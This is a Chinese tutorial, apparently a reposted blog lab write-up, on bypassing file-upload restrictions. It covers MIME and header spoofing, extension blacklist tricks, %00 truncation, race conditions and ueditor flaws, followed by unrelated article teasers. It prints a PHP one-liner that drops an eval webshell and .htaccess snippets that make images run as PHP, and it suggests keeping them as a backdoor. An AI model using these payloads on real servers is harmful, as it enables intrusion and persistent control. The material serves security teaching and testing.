Web攻防-文件上传黑白名单MIMEJS前端执行权限编码解析OSS存储分域名应用场景

知识点:
1、WEB攻防-文件上传-前端&黑白名单&MIME&文件头等
2、WEB攻防-文件上传-执行权限&解码还原&云存储&分站等
3、WEB攻防-文件上传-JS提取&特定漏洞&第三方编辑器
4、WEB攻防-文件上传-思维导图形成

在这里插入图片描述

常规文件上传:
1、一定要明白:
文件解析安全问题上,格式解析是一对一的(不能jpg解析php)
换句话来说有解析错误配置或后缀解析漏洞时才能实现格式差异解析2、文件上传安全指的是攻击者通过利用上传实现后门的写入连接后门进行权限控制的安全问题,对于如何确保这类安全问题,一般会从原生态功能中的文件内容,文件后缀,文件类型等方面判断,但是漏洞可能不仅在本身的代码验证逻辑中出现安全问题,也会在语言版本,语言函数,中间件,引用的第三方编辑器等存在缺陷地方配合利用。另外文件上传也有多个存储逻辑,不同的文件存储方案也会给攻击者带来不一样的挑战!1、无限制
任意上传,什么文件都能上传2、有限制:
限制后缀格式(判断后缀名(黑白名单),MIME类型,文件头等)应用场景:
1、注册用户上传地方
2、后台或其他管理页面
3、源码泄露或盲测文件
4、JS或API接口的代码
5、第三方编辑器上传漏洞
6、特定的源码审计漏洞

一、演示案例-WEB攻防-文件上传-前端&黑白名单&MIME&文件头等

0、测试环境安装参考

字典:https://github.com/fuzzdb-project/fuzzdb
靶场环境:https://github.com/sqlsec/upload-labs-docker
在这里插入图片描述
docker安装
在这里插入图片描述
下载靶场项目并进入项目文件夹

cd upload-labs-docker

在这里插入图片描述
一键部署运行

docker-compose up -d

在这里插入图片描述
在这里插入图片描述

1、前端JS

如何判断是否是前端验证呢?
首先抓包监听,如果上传文件的时候还没有抓取到数据包,但是浏览器就提示文件类型不正确的话,那么这个多半就是前端校验了
在这里插入图片描述
如何绕过?
先上传一个图片后缀抓包改成脚本后缀

2、.htaccess(apache独有的配置文件)

一般上传用的不多,主要用来留后门
apache中,.htaccess文件可以上传并执行
这个文件定义了哪些格式文件可以以脚本方式解析

方式一:
.htaccess中写入:

<FilesMatch "s.jpg">SetHandler application/x-httpd-php
</FilesMatch>

然后再上传shell.jpg的木马, 这样shell.jpg就可解析为php文件
最好拿到shell之后修改自带的这个文件,添加上面的那段代码,就可以留个后门了

方式二:

AddType application/x-httpd-php .png  

在这里插入图片描述
在这里插入图片描述

.htaccess文件成功上传后,这时候再上传一个png图片的后门,就可以解析成脚本

3、MIME类型

Content-Type:image/png

在这里插入图片描述

4、文件头判断

GIF89a

在这里插入图片描述

5、黑名单-过滤不严

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

无递归(只检测一次,没循环)
pphphp(因为代码中是把匹配到的黑名单替换为空)

在这里插入图片描述

6、黑名单-过滤不严(windows中大小写没问题,但是在linux上是不能大小写的,要么全小写,要么全大写)

在这里插入图片描述
系统大小写敏感属性
在这里插入图片描述
在这里插入图片描述

7、PHP低版本GET-%00截断

在这里插入图片描述
在这里插入图片描述

自动解码一次
/var/www/html/upload/x.php%00

在这里插入图片描述
在这里插入图片描述

8、PHP低版本POST-%00截断

在这里插入图片描述

手工解码一次
../upload/x.php%00 二次解码

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

9、黑名单-过滤不严

php3

在这里插入图片描述
利用fuzz思路去跑后缀
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

10、逻辑不严-条件竞争

在这里插入图片描述
1.上传不断发包
在这里插入图片描述
2.请求不断发包
在这里插入图片描述
3.访问创建脚本代码

<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>

在这里插入图片描述

11、二次渲染

后端语言会对图片进行二次渲染,让图片更好的呈现出来,但是这样就会造成一个图片里插入的脚本代码丢失的情况,但是需要配合文件包含漏洞,没啥意义。

1.先搞个正常图片,上传图片后导出渲染后的图片
在这里插入图片描述
2.对比保留部分,在保留部分添加后门代码
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
3.最后利用提示的文件包含执行图片后门代码
在这里插入图片描述

12、函数缺陷

1.使用move_uploaded_file 函数
2.保存的文件名可控

在这里插入图片描述

1.php/.

在这里插入图片描述
在这里插入图片描述

二、演示案例-WEB攻防-文件上传-应用场景-JS提取&源码类&编辑器

1、JS或API接口代码

DEMO

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

真实案例

在这里插入图片描述
在这里插入图片描述

2、第三方编辑器上传漏洞

ueditor漏洞参考:
https://www.cnblogs.com/linglinglingling/p/18040866
https://blog.csdn.net/weixin_58099903/article/details/125810825

DEMO

在这里插入图片描述
在这里插入图片描述

真实案例

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、特定的源码漏洞

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

三、演示案例-WEB攻防-文件上传-实战遇到的情况-执行权限&解码还原&分站存储&OSS存储

1、执行权限

文件上传后存储目录不给执行权限
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

绕过条件:能控制上传文件存储目录

2、解码还原

文件上传后利用编码传输解码还原
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

绕过:无法直接绕过

3、分站存储

upload.xiaodi8.com 上传

在这里插入图片描述
在这里插入图片描述

images.xiaodi8.com 存储

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

绕过:迂回战术,上传脚本到images.xiaodi8.com并控制这个网站,在从images.xiaodi8.com迂回到upload.xiaodi8.com(也就是类似旁站、C段入侵)

4、OSS对象

Access控制-OSS对象存储-Bucket对象

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

绕过:无法直接绕过

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/bicheng/87465.shtml
繁体地址,请注明出处:http://hk.pswp.cn/bicheng/87465.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Odoo系统大型业务优化实战

目录 背景说明ORM与模型优化数据量处理策略接口与报表优化系统架构优化监控与诊断工具项目实战总结&#xff08;案例&#xff09;后续优化建议性能优化检查清单总结 一、背景说明 在 Odoo 项目中&#xff0c;随着业务不断扩展&#xff0c;系统常常面临如下挑战&#xff1a; …

【2.4 漫画SpringBoot实战】

🚀 漫画SpringBoot实战 🎯 学习目标:掌握SpringBoot企业级开发,从零到一构建现代化Java应用 📋 目录 SpringBoot核心特性自动配置原理Web开发实战数据访问与事务监控与部署🎭 漫画引言 小明: “为什么SpringBoot这么受欢迎?” 架构师老王: “SpringBoot就像全自动…

美国站群服务器的优势和应用与选择指南

在当今数字化时代&#xff0c;互联网业务的蓬勃发展促使各类企业和个人不断寻求高效、稳定且功能强大的网络解决方案。美国站群服务器作为一种备受瞩目的网络基础设施&#xff0c;正逐渐成为众多从事跨境电商、搜索引擎优化&#xff08;SEO&#xff09;、内容分发、数据采集等业…

智能合约基础:Solidity语法速成

目录 智能合约基础:Solidity语法速成引言:区块链的可编程世界1. Solidity基础语法1.1 合约结构1.2 数据类型2. 核心概念详解2.1 可见性修饰符2.2 状态可变性2.3 错误处理2.4 事件与日志3. 高级特性3.1 继承与接口3.2 修饰器3.3 委托调用与代理合约4. 完整DeFi质押合约实现5. …

SmartDV推出先进的H.264和H.265视频编码器和解码器IP

向全球市场提供灵活、高度可配置、可定制的半导体设计知识产权&#xff08;IP&#xff09;和验证IP&#xff08;VIP&#xff09;的开发商SmartDV™ Technologies近日宣布&#xff1a;公司现已提供即刻可用的H.264和H.265视频编码器和解码器IP解决方案。针对每一种技术&#xff…

数据结构学习day8---strstr+symlink+remove+rename+link+truncate

一、strstr 1.头文件 #include <string.h> 2.函数原型 char *strstr(const char *haystack, const char *needle);3.功能 在一个字符串haystack中查找另一个字符串needle的第一次出现&#xff0c;并返回该位置的指针&#xff0c;如果找不到&#xff0c;则返回NULL。 …

智能设备远程管理:基于OpenAI风格API的自动化实践

在数字化转型的浪潮中&#xff0c;智能设备的远程管理功能变得越来越重要。通过API接口实现对智能设备的自动化操作&#xff0c;不仅可以提高工作效率&#xff0c;还可以增强系统的灵活性和可扩展性。本文将详细介绍如何利用Python和openai库&#xff0c;结合一个类似OpenAI风格…

数字电路工作原理

1、数字电路的分类 2、基本结构和特点 3、电路特性 4、电路互连 5、电路选型基本原则 1、数字电路的分类 GaAs 该电路类型 速度快,功耗大,原料剧毒,至今尚未被大量应用 硅 出现了单极型 PMOS NMOS CMOS 双极性 TTL STTL、LSTTL、ALSTTL、FTTL、LVTTL ECL MEC…

C# 进行音视频编解码开发

一、音视频编解码基础 1.1 基本概念 音视频编解码是数字媒体处理的核心技术,主要涉及将原始音视频数据进行压缩编码以便存储和传输,以及将压缩数据解码为可播放的原始格式。在 C# 环境下开发音视频编解码器,需要先了解几个关键概念: 编码 (Encoding):将原始音视频数据转…

YOLOv11深度解析:Ultralytics新一代目标检测王者的创新与实践(附网络结构图+训练/推理/导出全流程代码详解)

🔥 一、YOLOv11为何成为新标杆? 2024年底,Ultralytics正式推出YOLOv11,在COCO数据集上以更少参数量(减少22%) 实现了超越YOLOv8的精度,成为边缘设备与云端部署的新宠。其核心创新在于: 轻量化设计:深度可分离卷积(DWConv)大幅降低计算量注意力增强:C2PSA模块提升…

live server插件vscode的配置

安装完其实就可以直接使用了&#xff0c;一般来说不必手动配置&#xff0c;点击右下角的go live按钮就可以运行。默认端口是5500 好的&#xff0c;为你详细说明如何在 VS Code 中配置 Live Server 插件。这是一个非常有用的插件&#xff0c;我们不仅会讲如何安装和使用&#x…

基于MATLAB的风力发电机无人机巡检路径优化研究

基于MATLAB的风力发电机无人机巡检路径优化研究 摘要 本文针对风力发电机无人机巡检路径优化问题,提出了一种基于三维参数建模与智能优化算法的解决方案。通过建立风力发电机的三维几何模型,综合考虑无人机的飞行约束条件和巡检任务需求,设计了多目标优化函数,并采用改进…

经纬度哈希编码实现方式

背景&#xff1a;在大数据数仓建设的过程中&#xff0c;有时会遇到经纬度类型的数据信息&#xff0c;但在进行关联分析和数仓建设的时候用经纬度去关联&#xff0c;难免不够便捷&#xff0c;于是我们可以开发UDF使用地理经纬度信息哈希编码的方案进行开发&#xff0c;非常有效 …

支持向量机(SVM)深度解析:从数学根基到工程实践

&#x1f9d1; 博主简介&#xff1a;CSDN博客专家、CSDN平台优质创作者&#xff0c;高级开发工程师&#xff0c;数学专业&#xff0c;10年以上C/C, C#, Java等多种编程语言开发经验&#xff0c;拥有高级工程师证书&#xff1b;擅长C/C、C#等开发语言&#xff0c;熟悉Java常用开…

矩阵的范数和逆矩阵的范数的关系

文章目录 前提条件关键结论推导过程简述注意事项示例说明&#x1f4d8; 谱范数定义✅ 步骤一&#xff1a;计算 A T A A^T A ATA✅ 步骤二&#xff1a;求 A T A A^T A ATA 的特征值✅ 步骤三&#xff1a;取最大特征值的平方根✅ 对 A − 1 A^{-1} A−1 做同样的操作✅ 最终结…

成像光谱遥感技术中的AI革命:ChatGPT在遥感领域中的应用

课程将最新的人工智能技术与实际的遥感应用相结合&#xff0c;提供不仅是理论上的&#xff0c;而且是适用和可靠的工具和方法。无论你是经验丰富的研究人员还是好奇的从业者&#xff0c;本课程都将为分析和解释遥感数据开辟新的、有效的方法&#xff0c;使你的工作更具影响力和…

Debian12 安装 sippts

试了试&#xff0c;貌似不复杂&#xff0c;记录如下&#xff1a; apt-get install -y python3 python3 --version # 3.11.2 apt-get install -y python3-pip pip3 --version # 24.3.1 rm /usr/lib/python3.11/EXTERNALLY-MANAGED cd /usr/src git clone https://github.com/…

VR Panorama 360 PRO Renderer保姆级别教程

总览: 全景图及全景视频录制插件有两个 一个是件(以下简称VR360插件) 一个是Unity官方的Unity Recorder插件(以下简称Recorder插件) 在图片清晰度上VR 360插件要高于Recorder插件,所以渲染全景图时,优先使用VR 360插件,当然全景视频也可以使用VR360插件。 但VR 360插件…

cv610将音频chn0配置为g711a,chn1配置为 aac编码,记录

cv610将音频chn0配置为g711a,chn1配置为 aac编码,记录 工程代码在文章底部 编译时放在 sdk的同级目录 sdk_version: sdk_V010,打了AOV的补丁 aenc可以配置为 chn0=g711a, chn1=aac 设置两个编码通道为不同编码属性 主要思路为在 ss_mpi_aenc_create_chn时将 chn1配置编码为…

CAD2018,矩形设计,新增文字,块新增与打散

一、矩形设计 1.选择页面&#xff0c;点击左键&#xff0c;直接输入【rec】&#xff0c;回车&#xff1b; 2.长按鼠标左键&#xff0c;拉出矩形&#xff0c;抬起左键。 3. 会生成一个矩形框。 4. ①输入宽度数值&#xff0c;②输入逗号切换到高度&#xff0c;③输入高度。 5.成…